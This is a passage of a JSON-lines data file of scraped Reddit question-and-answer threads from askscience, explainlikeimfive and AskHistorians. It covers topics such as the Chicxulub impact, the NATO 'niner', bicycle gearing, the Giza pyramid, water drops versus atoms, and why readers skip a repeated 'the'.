to the ocean noise problem that wouldn't be totally disruptive to economic activity (eg, is it possible to equip vessels with sound dampners and some such).  \n3.  Blue whales are awesome, and have been my favesies for some time.  It's disappointingly hard to get access to layman-grade information about them - can you recommend some resources/docus/whatever about them?  And for bonus points, tell me something awesome about Blue Whales that I haven't read on Wikipedia or in chat shows.  \n4.  What does zoology have to do with the ocean?  There are no whales in zoos.  (teehee).  ", "Hey 99trumpets, thanks for doing an AMA. I'm a student studying Fisheries and Wildlife Biology and Management and I have two questions.\n\nYou said in the description you used to work with bears and elephants. What type of work, in a broad sense, did you do with these animals? \n\nSecondly, I would like to work with terrestrial, predatory mammals in the future. What would be some things I could do now to better prepare myself for a career in wildlife management working with animals like wolves and bears? I'm sorry if this question isn't necessarily something you can answer, I'm not able to ask someone who has worked with bears for advice everyday.\n\nThanks again!!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://blackfishmovie.com/"], [], [], [], [], [], ["http://lotr.wikia.com/wiki/Gollum", "http://lotr.wikia.com/wiki/River_Folk"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "138vxe", "title": "If you laid out the hair from a person's head end to end, how far would it go?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/138vxe/if_you_laid_out_the_hair_from_a_persons_head_end/", "answers": {"a_id": ["c71ta12"], "score": [3], "text": ["Roughly 100,000 hairs at 10cm each equals 10,000m or about six and a quarter miles.\n\nAdjust for longer or shorter hair as required.  Light haired people tend to have more, finer hairs."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "hfuyt", "title": "A geology/geography question via picture. ", "selftext": "[How does something as awesome and weird as this form?](_URL_0_)\n\nEdit. It is in the Stone Forst of [Yakutsk](_URL_2_). I found the image in [/r/earthporn](_URL_1_)", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/hfuyt/a_geologygeography_question_via_picture/", "answers": {"a_id": ["c1v2wgf", "c1v2xy7", "c1v3jtn", "c1v4kq5"], "score": [2, 6, 14, 3], "text": ["Where is that? ", "As far as I know 2 options\n\n*    Karstic erosion due to acidic rain on limestone\u2019s _URL_0_ (I have never seen anything this heavily eroded/pronounced but it should be (as far as i know) theoretically possible)\n\n*    The other is the combined effects of wind and rain on sediments similar to the effect at _URL_1_ (it is noted that jointing may be an additional factor in this case)\n\n\nI would suggest further research/ information on local Lithology, tectonics and setting to determine this further.\nedit: Cheers for the location.", "This is almost certainly an example of karst. A similar thing is found in China; see [_URL_1_](_URL_2_) and in [Madagascar](_URL_0_).\n\nEdit: Added Madagascar.", "Those are definitely karst pinnacles, cavers (connoisseurs of all things karst) refer to this as  \"tsingy\" karst, after the karst in Madagascar, mentioned previously."]}, "title_urls": [], "selftext_urls": ["http://i.imgur.com/cbuCj.jpg", "http://www.reddit.com/r/EarthPorn/comments/hfpj1/stone_forest_of_yakutsk/", "http://en.wikipedia.org/wiki/Yakutsk"], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Karst", "http://en.wikipedia.org/wiki/Bryce_Canyon_National_Park"], ["http://ngm.nationalgeographic.com/2009/11/stone-forest/alvarez-photography", "http://en.wikipedia.org/wiki/Shilin_\\(Stone_Forest\\)", "http://en.wikipedia.org/wiki/Shilin_(Stone_Forest\\)"], []]}
{"q_id": "38v1sn", "title": "google buys a lot of companies out. will they eventually own pretty much everything(within reason)? if this is a bad thing, what do we have in place to stop it?", "selftext": "For example as they get bigger they can pour more resources into more products, so anyone who tries to compete will go up against all of googles might. Is this correct? does it really matter? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/38v1sn/eli5_google_buys_a_lot_of_companies_out_will_they/", "answers": {"a_id": ["cry23o2"], "score": [3], "text": ["No, they won't eventually own everything.\n\nGoogle's ability to buy things is called their 'market cap', and it's based on the value of their own stock. For Google to buy everything, they would have to be worth more than every other company in the world put together.\n\nGenerally, they buy things that are good ideas that don't have enough capital to thrive. They spend their investment money to make these things profitable - basically, they are a technology-focused investment firm now."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "47y46x", "title": "Standing on the other side of the world, would I have felt the Chicxulub impact?", "selftext": "I know that puts me in the Indian Ocean today and that the landmass was [distributed differently 66 million years ago](_URL_1_). I only mean hypothetically.\n\nIf Chicxulub's 4.2\u00d710^(23) joule impact was too weak to feel, then how about the [Vredefort or Sudbury](_URL_2_) impacts? What other immediate effects might I notice on the other side of the world? To what extent did any of these alter the world's spin, axis, or orbit around the sun?\n\nBONUS: [Discovery Channel simulation of an object 50 times larger than Chicxulub impacting the Pacific Ocean](_URL_0_).", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/47y46x/standing_on_the_other_side_of_the_world_would_i/", "answers": {"a_id": ["d0gqub0", "d0gqv38"], "score": [4, 14], "text": ["It certainly appears so from this article:  _URL_0_\n\nI'm not able to make out whether the 4 meter displacement is as huge as it sounds, as the discussion of earthquakes seems fairly mild.", "I did a quick [calculation](_URL_0_) for the Chicxulub impact with the [Earth Impact Effect Program](_URL_1_): Energy and crater size match pretty well. On the other side of the planet, you would not feel much of the impact. Very slight shaking after an hour and bad weather after 16."]}, "title_urls": [], "selftext_urls": ["https://www.youtube.com/watch?v=PENT_hnyO-o", "https://upload.wikimedia.org/wikipedia/commons/5/5c/Pangaea_to_present.gif", "https://en.wikipedia.org/wiki/List_of_impact_craters_on_Earth"], "answers_urls": [["http://www.geologyinmotion.com/2011/10/chicxulub-impact-what-happened-on.html"], ["http://impact.ese.ic.ac.uk/cgi-bin/crater.cgi?dist=20000&amp;distanceUnits=1&amp;diam=10&amp;diameterUnits=2&amp;pdens=&amp;pdens_select=3000&amp;vel=20&amp;velocityUnits=1&amp;theta=60&amp;wdepth=&amp;wdepthUnits=1&amp;tdens=2500", "http://impact.ese.ic.ac.uk/ImpactEffects/"]]}
{"q_id": "2nlpq6", "title": "why in the nato phonetic alphabet do you pronounce \"9\" as \"niner\" instead of just saying \"nine\"?", "selftext": "_URL_0_", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2nlpq6/eli5_why_in_the_nato_phonetic_alphabet_do_you/", "answers": {"a_id": ["cmeopqp", "cmeosfy", "cmeybpx"], "score": [16, 20, 4], "text": ["To avoid confusion with \"five.\"\n\nTry reading long strings of numbers over a dodgy radio and having someone else copy them down. Saying \"niner\" makes it way easier to comprehend on the other end.\n\nTo add - this is the same reason you'd say, \"alpha, bravo, charlie, delta, echo, foxtrot\" rather than \"ay, bee, cee, dee, ee, eff\" - B, C, D, E all sound very similar over the radio.", "There's a clue in the NATO bit.\n\nGermany are a NATO member - in German, 'Nein' is 'no' - so if you can make the digit sound different from a common word used by one of your co-members is probably going to be useful.", "What I wanna know is why three is pronounced as \"TREE\"?\n\nAnd is fifty pronounced as \" FIDDY\"?"]}, "title_urls": [], "selftext_urls": ["https://en.wikipedia.org/wiki/NATO_phonetic_alphabet"], "answers_urls": [[], [], []]}
{"q_id": "2gm5en", "title": "is there a gear shifting strategy for biking?", "selftext": "I barely understand the concept of shifting gears, in a car or on a bicycle. When and how should it be done ? Is there a \"best\" way for cyclist to shift gears when going up or down hill in a race?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2gm5en/eli5_is_there_a_gear_shifting_strategy_for_biking/", "answers": {"a_id": ["ckkf5ke", "ckkfmyf", "ckkfumd"], "score": [12, 8, 6], "text": ["Let's say you're riding on level ground at 20 mph and want to keep going at that speed.\n\nIf you stop pedaling, you'll slow down because of air resistance. To keep the bike going at the same speed, you have to push on the pedals with some force and do so with the pedals moving at some speed. (By this, I mean literally how fast the pedal is moving around in a circle, not how fast the bike is moving.)\n\nBy changing the gears, you get to trade force for pedal speed, or vice versa. For example, if you put the bike in a low gear, you might be able to put only 5 pounds of force on the pedals, but to maintain your speed of 20 mph, you would have to move the pedals themselves at 20 miles per hour. That's awfully fast. (If the pedal is 7 inches long, you'd have to go around 8 times per second!) If you put the bike into a higher gear, you might have to push with a force of 25 pounds and only need to move the pedals at 4 miles per hour. If you put the bike in a really high gear, you could push with a force of 50 pounds and move the pedals at 2 miles per hour. Now the pedal speed is totally manageable but the force is rather high.\n\nYou shift in order to make the combination of force and pedal speed as comfortable for you as possible. You shift into low gear when the force becomes too high (you feel this as a massive amount of resistance). You shift into higher gear when the pedals start moving too fast (this feels like the pedals are just spinning uselessly).", "You just want to keep pedaling at a consistent cadence for all types of gradients and speeds. It is most efficient to stay around 85-95 rpm, so shift to harder or easier gears accordingly to always stay around that zone. For hill climbing, you will want to stay on the small chain ring on the front and the big chain ring for flats and downhills.    ", "Your legs have a sweet spot where they operate more efficiently, usually somewhere between 60 and 90 rpm.  \n\nSo the object of the game is to pick a gear that keeps you at this optimal rate.  If pedaling gets too hard, you downshift, too easy, you upshift."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "65k4rb", "title": "why is drinking alot of water good for our skin?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/65k4rb/eli5_why_is_drinking_alot_of_water_good_for_our/", "answers": {"a_id": ["dgavs5x", "dgawg17"], "score": [38, 148], "text": ["Drinking a lot of water is not good for your skin. Drinking the correct amount of water is good for your skin (and your whole body for that matter) because your bodies essential chemical reactions only take place when dissolved in water and have the right balance of electrolytes. Drinking too much water can make the concentration of electrolytes too low and drinking too little water can make the concentration of electrolytes too high.", "It would be more accurate to say not drinking enough water is bad for your skin.\n\nWe are composed mostly of water but there's many ways that water is pushed out of our bodies--urine, sweat, breath, saliva, amongst others.  That water needs to be replenished.\n\nWhen it isn't, your body prioritizes mission critical organs for rehydration with what little you get.  Skin is not a high priority organ.\n\nWhen you hydrate well, however, your skin gets to return to the amount of water it needs."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2ggqc1", "title": "Why with all of our technology not be able to access and map the interior of the Great Pyramid at Giza fully?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2ggqc1/why_with_all_of_our_technology_not_be_able_to/", "answers": {"a_id": ["ckj4nrb"], "score": [7], "text": ["We do know in fact a lot about the interior of the pyramid. First and foremost, we have detailed maps of the main chambers as they were planned by the Egyptians (a Google search will yield several images of it). But, far more things have been done to the pyramids. In the 1960s, Luis Alvarez carried out a muon tomography of the inside of Chephren 2nd pyramid in order to look for hidden chambers (Alvarez et al. 1970). While the technology of the Alvarez test worked, he concluded that there were not other secret chambers in the pyramid of equal size to those of Cheops and Sneferu. Furthermore, In the 1980s a French team used microgavimetry to look for hidden chambers and passages inside of Cheops\u2019s pyramid. They also concluded that there were not hidden chambers. However, as a fun fact, they left out of their report a curious image that shows less dense areas in a somewhat spiral form (which could in fact be the remains of possible passages). This image could give some support to Jan Pierre Houdin\u2019s theory that the pyramid was constructed using an internal ramp (hence the need for a spiral ramp to move stones up to the top of the pyramid). However, due to the importance of the structure, Egyptians have been reluctant to agree to dismantle some stones on a small room inside a notch on one of the corners of the pyramid to see if in fact there is an interior ramp that was used by Egyptians to built the pyramid.\n\n* L.W. Alvarez, et al 1970. Search for Hidden Chambers in the Pyramids Using Cosmic Rays, Science 167,832-839.  \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1ff7wi", "title": "Why can't bacteria maintain multiple types of plasmids with the same origins of replication?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1ff7wi/why_cant_bacteria_maintain_multiple_types_of/", "answers": {"a_id": ["cab32ev"], "score": [2], "text": ["i'm commenting so I get an answer too, i'll try to find my own information and report back."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1heowk", "title": "What were the daily responsibilities of the astronauts aboard Apollo 11?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1heowk/what_were_the_daily_responsibilities_of_the/", "answers": {"a_id": ["catlklp"], "score": [3], "text": ["Have you read the [Apollo Flight Journal](_URL_1_) and the [Apollo Lunar Surface Journal](_URL_0_)? Those should pretty much answer any question you have on Apollo."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://history.nasa.gov/alsj/", "http://history.nasa.gov/afj/"]]}
{"q_id": "2ne4l1", "title": "There Are More Atoms In A Drop Of Water Than There Are Drops Of Water In All The Worlds Oceans. Is It True Or False?", "selftext": "I'm not sure if this is something that's been discussed before or not anywhere on here, but I've heard something to this effect before. If this is wrong, and/or just wildly oversimplified, I apologize, I'm just really interested to get the truth on the matter. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2ne4l1/there_are_more_atoms_in_a_drop_of_water_than/", "answers": {"a_id": ["cmct882", "cmddh6q"], "score": [110, 15], "text": ["This is another Fermi approximation problem that WolframAlpha can get to the bottom of for us.\n\nHow big is a drop of water? Thinking back to high school chemistry class, 1mL was a few drops or so, so let's say 0.1mL per drop of water. Water has a density of 1g/cm^3 and an atomic weight of ~18.\n\n* (0.1mL / drop) * (1 g / cm^3) / (18 amu/molecule) = 3*10^21 molecules / drop\n\nThere are also 3 atoms per molecule of water, so [multiplying by 3](_URL_2_) gives us 10^22 atoms per drop of water.\n\nNow, how many drops of water are there in the oceans? Well, we need the volume of the oceans. Let's say that on average, the Earth is covered with oceans 3km deep. This would [give us a volume](_URL_5_) of \n\n* 4 * pi * (Earth radius)^2 * 3 km = 1.5 * 10^9 km^3\n\nWhich, just typing ['Earth ocean volume'](_URL_4_) into WolframAlpha says 1.3 * 10^9 km^3, so close enough!\n\nWe can just [divide this by 0.1 mL](_URL_1_) to get the number of drops of water in the ocean, and find\n\n* 1.5 * 10^9 km^3 / 0.1mL = 10^25 drops\n\n\n**So it looks like there are ~1000x more drops of water in the oceans than there are atoms in a drop of water.**\n\n**That's pretty close though! You'd need your 'drop' of water to be about 4mL for the [number of atoms in the drop](_URL_0_) to be equal to the [number of drops in the oceans](_URL_3_).**\n", "First, a drop of water is between 45 and 50 microliters (\u00b5l), if dispensed from a dropper; I will use 50 \u00b5l for the calculation. 50 \u00b5l of water should have a mass of 50 milligrams (mg) at Standard Temperature and Pressure. Water is H2O, which has a molecular mass of 18.015 g/mole, so 50 mg of water contains 2.775 millimoles (mM). According to Avogadro's number, one mole of any compound contains 6.022 x 1023 molecules, so 2.775 mM of water has 1.67 x 1021 H2O molecules. In American notation that means:\n\nThere are 1.67 sextillion molecules of H2O in a drop of water.  And because there are three atoms per molecule of water, that puts us at about 5 sextillion atoms per drop. Which looks like this 5,000,000,000,000,000,000,000\n\nTaking the same size for the drop of water means that there are 20 drops of water in 1 millilitre.\n\nSo taking that measurement into account, how many drops of water would be in a gallon?\n\nWell, firstly we need to work out how many millilitres are in a gallon, which a quick Google search comes back as: 4,546.09 millilitres. As we\u2019re working to the rule that there are 20 drops per millilitre, we simply then times that number by 20 and we get the result as;\n\n90,921.8 drops of water in a gallon, or for you metric folk \u2013 20,000 drops in one litre.\n\nBut now we need to think...If there\u2019s that many drops in one gallon. How many drops would there be in the ocean?\n\nAccording to data from NOAA\u2019s National Geophysical Data Center, they estimate the amount of water in the ocean to be somewhere around 1,335,000,000 cubic kilometers. That\u2019s a massively large number for anyone, and I've tried splitting it up into more manageable pieces before! Doing the same sort of maths as above, we can work out that there is an astonishing\u2026\n\nTWENTY SEPTILLION drops of water in the world\u2019s oceans!\n\nWhats that in numbers I hear you ask?, Well it\u2019s this \u2013 20,000,000,000,000,000,000,000,000\n\n\nSo in conclusion, a drop of water = 5,000,000,000,000,000,000,000 atoms (a 5 with 21 zeros after it) and the ocean has 20,000,000,000,000,000,000,000,000 drops in it (a 2 with 25 zeros after it).  Hopes this clears it up.\n\nTL;DR the ocean has WAY more drops than atoms in a drop of water."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.wolframalpha.com/input/?i=4+mL+*+1+g%2Fcm%5E3+%2F+%2818amu%29+*+3", "http://www.wolframalpha.com/input/?i=4+*+pi+*+Earth+radius%5E2+*+3km+%2F+0.1+mL", "http://www.wolframalpha.com/input/?i=0.1+mL+*+1+g%2Fcm%5E3+%2F+%2818amu%29+*+3", "http://www.wolframalpha.com/input/?i=4+*+pi+*+Earth+radius%5E2+*+3km+%2F+4+mL", "http://www.wolframalpha.com/input/?i=earth+ocean+volume", "http://www.wolframalpha.com/input/?i=4+*+pi+*+Earth+radius%5E2+*+3km"], []]}
{"q_id": "2od97k", "title": "the next test launch of the orion space capsule isn't scheduled until 2017. why so long until the next test launch?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2od97k/eli5_the_next_test_launch_of_the_orion_space/", "answers": {"a_id": ["cmm0e5u", "cmmkwj8"], "score": [5, 2], "text": ["_URL_0_\n\nThe next mission (2018) is using a new rocket, the SLS Block I. The launch today was using the old Delta V rocket.\n\n_URL_1_\n\nThese rockets just started construction last month, so it's not unusual for a few years to construct the rockets and test them before using them to launch a payload into space.", "In addition to what other people said, all of which is perfectly valid, it's also a question of money. The Orion project is hugely ambitious but it's being conducted on a [microscopic budget](_URL_0_) compared to what NASA had during its glory days. I'm pretty sure it could be done faster if the country was willing to throw more money at it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Orion_(spacecraft)#Missions", "http://en.wikipedia.org/wiki/Space_Launch_System#Fabrication"], ["http://images.huffingtonpost.com/2012-04-30-Presentation1-thumb.jpg"]]}
{"q_id": "14oel5", "title": "What are the various methods to find young's modulus? ", "selftext": "I want to find young's moduli of rods of different materials. It will be of a lot help to me if some of you can suggest various methods to find it using instruments that will be available in an undergraduate laboratory. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/14oel5/what_are_the_various_methods_to_find_youngs/", "answers": {"a_id": ["c7ey6vp", "c7f11gu", "c7fy2zw"], "score": [2, 2, 3], "text": ["Use a load-frame to pull-test the material (it's basically a reverse press).\n\nOr, machine a beam out of the material (of some geometrically simple shape, circular is fine) and measure the force vs deflection curve. From this, you can arrive at (first order) Young's modulus.\n\nedit: make sure the beam is long enough to fit well into the Euler-Bernoulli beam regime (20:1 ratio is good). Otherwise you'll have to use the Timoshenko equation, which has more variables that you don't care about (it's used for shorter beams).", "The most common method is making a dogbone-shaped piece and applying a tensile test.  [Here's a video.](_URL_0_)", "Young's modulus is linear stress vs. linear strain.  So any test that measures these two properties during incremental loading.  The number of tests is staggering, because the number of possible materials that can related to Young's Modulus is very large.  If you have a particular material in mind, search for the ASTM method of testing, or comment and I'll send it to you."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.youtube.com/watch?v=I28m4FZzqro"], []]}
{"q_id": "69fbq7", "title": "What caused the diatonic button accordion to be used so commonly in English and Irish music (as opposed to the more prevalent piano accordion in other world cultures)?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/69fbq7/what_caused_the_diatonic_button_accordion_to_be/", "answers": {"a_id": ["dh66qgk"], "score": [6], "text": ["Well, there are actually a lot of diatonic accordions doing just fine, in other cultures.  France still has plenty of diatonic accordions, ( for bal folk) , as well as Quebec, Slovenia, Austria , Belgium, Netherlands, Italy, Germany....  Diatonic accordion can put out a rhythmic drive that can be hard to duplicate on a piano accordion, and that makes it still thrive for dance music.  Listen to some Tex-Mex two-steps by Flaco Jimenez, or Cajun music by Iry Lejeune , and you might see the point.\n\nBi-sonoral accordion systems like the diatonic accordion  came first. Mono-sonoral systems like piano accordion or chromatic button accordion ( like the French accordion ) came to be popular  in the 1920's,  because musicians wanted to do more complex melodies with their right hands  and more complex harmonies for them with their left hands.  It's challenging to play a lot of the French muzette repertoire on diatonic accordion, now  (the music you often hear in the background when someone is trying to set a film in Paris) even though the earlier tunes, by players like Emile Vacher, still work, because they were written on diatonic accordion.  \n\nThough diatonic accordion tended to have fairly few choices of left-hand harmonies- a piano accordion has a full Stradella bass, rows and rows of buttons-  Irish \"box\" players are fine with having few because they often don't worry about playing the bass or harmony...the older tradition in Irish music is for everyone to be just playing the melody, anyway."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6eq5rf", "title": "why does the \"unsubscribe me\" button never work on emails?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6eq5rf/eli5why_does_the_unsubscribe_me_button_never_work/", "answers": {"a_id": ["dic6asu", "dic72wv"], "score": [2, 2], "text": ["The thing about laws is they have to be enforced or they don't matter. Enforcing the law on the internet is really hard. If the spam email is coming internationally,  or being sent from compromised malware-infected systems within the US, tracking it down and corking it is challenging and time consuming.\n\nIf anything, clicking unsubscribe lets them know there's a real person there, it's actually a very bad idea! You'll get MORE because they're praying you'll someday be dumb enough to fall for it.", "I send out about 15,000 marketing emails a week for my small ecommerce store using an email service called MailChimp. Not only does their unsubscribe button work but they don't let me disable it or resubscribe anyone that unsubscribes. I have to pay for each email so it's in my best interest that people who don't want to receive the email to unsubscribe otherwise I am wasting money. In fact, if a subscriber hasn't even opened any of my emails in the last few months I'll unsubscribe them myself to save some money."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "bvexhq", "title": "how do paramedics/doctors ensure they have covered everything (hard to see but major pain points eg. ruptured ear drum) on an unconscious crash victim before they wake up?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bvexhq/eli5_how_do_paramedicsdoctors_ensure_they_have/", "answers": {"a_id": ["epooaky", "epoojs2", "epoqhh4", "epot4ah", "epotprh"], "score": [38, 7, 6, 4, 2], "text": ["They don't, or they don't immediately. The first step is always to stabilize the patient (don't die). Stuff like ruptured eardrums can wait.\n\nOnce the patient is *stable and in a hospital* they can do a more exhaustive search for injuries utilizing stuff like x-rays, MRIs, and ultrasounds.", "Something called a rapid trauma scan in which you feel most of the areas of the body with gloves hands and do small \u201ctests\u201d or checks to see if certain areas as large groups of bones/muscles organs are ruptured or lack structural integrity. You don\u2019t necessarily cancel out many things but it\u2019s a quick scan which helps narrow down injures areas. Upon arrival at the emergency department, you report to nurses or doctors what you found and they take note while they perform the exact same scan however with more than just two people on scene and with higher capacity due to training/etc. each person/doctor that visits the patient does their own scan which is more detailed and focused/tailored to the specialist\u2019s/physicians specialty.", "Once the primary survey is complete and the patient is stable, you do a secondary survey where you look for all of those little things. Start at the head and work your way down and be as thorough as you can.", "They\u2019re attempting to stabilize the victim for transport to a hospital. They are fixing the severe stuff they can work on. \n\nTheir intent isn\u2019t to fix everything.", "It's ABC's that they teach everyone from basic EMTs to nurses to doctors and just about everyone in between.\n\nA = airway is open\nB = breathing is occurring\nC = circulation (heart is beating)\n\nThere's a D and an E too but I can't remember them right now."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "g29knw", "title": "so how does the the human brain ignore the second the?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/g29knw/eli5_so_how_does_the_the_human_brain_ignore_the/", "answers": {"a_id": ["fnk9cpm", "fnke8bi", "fnkirhq", "fnkld0z", "fnknhpu", "fnknw21", "fnknxpb", "fnko4zq", "fnkuxen", "fnli2gl", "fnlz6rp", "fnlzsvi", "fnm7zd5"], "score": [18103, 348, 612, 79, 64, 4, 3, 23, 6, 25, 5, 3, 2], "text": ["We don't actually read every word in a sentence. Our brains pick up the patterns and fill in the blanks as we skim along the text, which greatly increases our reading speed while doing very little to reduce comprehension.\n\nWe do it with just about all sensory input, as well. We blank out while driving but still reach our destinations with no incidents, we tune out smells pretty quickly (no matter how bad the smell is), we tune out physical sensations (you're now aware of how your tongue is resting in your mouth, also you're breathing manually), we hit that autopilot button at work and just coast through it while thinking about the grocery shopping, etc.\n\nIt's probably an evolutionary trait that evolved from a need to be vigilant against **unique sensory input**, like sudden movements and noticing things that aren't supposed to be there. We're good at recognizing patterns, and tune things out to reduce overall taxation from sensory inputs so we can instead focus on novel inputs.\n\n & #x200B;\n\nSmall edit: I'm an English tutor, and one of the practices we use to catch those kinds of mistakes is to read the whole text backward. Doing this tricks the brain into not recognizing the speech patterns and causes it to focus on each word.", "We're too used to reading English that we don't actually read every word, but the sentence as a whole.\n\n(When I was learning Spanish in school I had to read every word and then combine them to understand what it means)", "Short version: Our brains are tuned for pattern recognition and prediction, not detail. That's also why things that break the expected pattern/outcome can be so jarring. Sometimes it's in a fun way, though. See movie twists, stage magic, joke punchlines and so on.  \n\n\nIt's a filtering mechanism.  Ignore the leaves, see the broken up/partial shape or movement of the predator hiding behind them.", "I'm guessing people who are learning English won't skip it naturally as they are not used to the patterns and are more focussed on piecing together the meaning?", "Your brain doesn't take in information. It takes in patterns on information. \n\nI dotn haev to be detialed in my tpying for you to now wat I'm sayin.\n\nYou can read what I just wrote. Just like you can understand the gist of a sentence with two thes.  \n\nYou get the pattern, and then you can disregruard.", "Human brains are very sophisticated pattern recognition machines. More sophisticated than many AI or algorithmic computers even. Pattern recognition revolves around uses minimal input to form a complete picture. That\u2019s also how we read, you don\u2019t actively read every word once you\u2019re used to reading. Your brain infers the meaning of a sentence based on a number of keywords and its experience in reading similar sentences. After \u2018the\u2019 you get an adjective or a substantive so no need to read the second \u2018the\u2019. Our visual or olfactory system work in exactly the same way. You exclude long-term input (your nose is always in your line of sight), but are very susceptible to short-term changes (sudden movement).", "Does this have anything to do with the fact that our eyes only senses a small part of reality while our brains fill in the rest of the world? There\u2019s a notion in Sleight of Hand where a good performer can \u201cfeel\u201d where all the eyes are and exploit it by forcing the audience to follow the big movements while hiding the smaller ones. \n\nIt\u2019s supposed to be based on old hunting/tracking skills. We track where a ball drilled across a football field goes by hopping from where the ball is to where the ball is going easily but once it hits the ground and goes bouncing, it\u2019s easy to lose where it went. You can all think about the difference between a bunny making a beeline to one quickly changing direction. \n\n\n_URL_0_\n\nAlso should be noted that Apollo Robbins is unreal - seen his lecture a few times.\n\n\n_URL_1_", "Your brain is very efficient (lazy). It can ignore redundancies unless you focus on them. A neat experiment to do ( but can be difficult) is if you stare at one point for a good amount of time, and I mean stare don't move your eyes even a bit, you'll notice it starts to disappear. Your brain is saying this is not new input so I will ignore it. Its why your eyes are constantly doing micro movements you may not notice and why when look from one thing to another quickly you don't see a blur but instead feels like your vision teleported.", "What we 'see' isn't what's actually there.  It's the same as how we have a big blind spot in the center of our field of vision and our brain fills in the details.\n\nOur eyes detect light and send signals to our brain.  Our brain interprets those signals and builds a model of the world that isn't necessarily accurate, but is usually good enough for us to function.\n\nThings like this show that the model built isn't necessarily accurate, but that details will be filled in by our brain based on surrounding detail.\n\nAnother one is that I can type words incorrectly and as long as the first and last letters are present a quick raed show that your brain will fill in the detials and 'show' you the correct word.", "Brains are lazy. They are quick to guess, and they \"check\" the guess as lazily as possible.\n\nMore accurately; brains need to be as fast as possible while using as little energy as possible, so we can out-compete everything else and not get killed - same as all life. That's what makes you successful; use the minimum resources to get what you need. Which is why life takes short-cuts - as long as they work more often than not...\n\nIt applies to all levels of things; from your example, to people more readily believing things they already know more than anything new to them - regardless of reality.", "Superfluous information. Your conscious mind has what it came for and discards the rest. Think if it as data compression.\n\nYour typical mp3 song sounds indistinguishable from lossless wave yet it\u2019s a tenth of the size because all those high sounds you can\u2019t hear anyways gets discarded. \n\nMostly these shortcuts are very useful to us but it can be a vulnerability to be exploited. \n\nSource: A whole lotta thinking about it.", "Because when you read the the sentence, your brain creates the sentence in your head first and then breaks down the meaning as a whole not just the individual words. So your brain just ignores it because it already has a sentence so ignores the other the.", "Fro teh smae resaon you can raed tihs wtih vrey ltitle dififulcty.\n\nWhen you read, you're not reading each word individually to build a sentence, you scan the sentence as a whole to build context for the sentence.\n\nSo, you only really notice a mistake when it's glaring obvious and actually changes the meaning of the sentence. \"The' is an article so doesn't add much actual meaning, so when you're reading, you tend to just skip over it anyway."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], ["https://www.frontiersin.org/articles/10.3389/fnhum.2011.00133/full", "https://www.sciencedaily.com/releases/2014/06/140627094551.htm"], [], [], [], [], [], []]}
{"q_id": "h0thn", "title": "If light has no mass, when it moves, is it doing work?", "selftext": "If light has no mass, when it moves, or when something moves it, is it doing work?  If not, what is it doing?  Is any work accomplished to move light particles?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/h0thn/if_light_has_no_mass_when_it_moves_is_it_doing/", "answers": {"a_id": ["c1rqc4v"], "score": [31], "text": ["*Nothing* does work simply by moving; \"work\" in physics means a force applied over some distance parallel to that force. It's impossible to apply a force to light in parallel directions (since you can't change its velocity), so it's impossible to do work to light."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
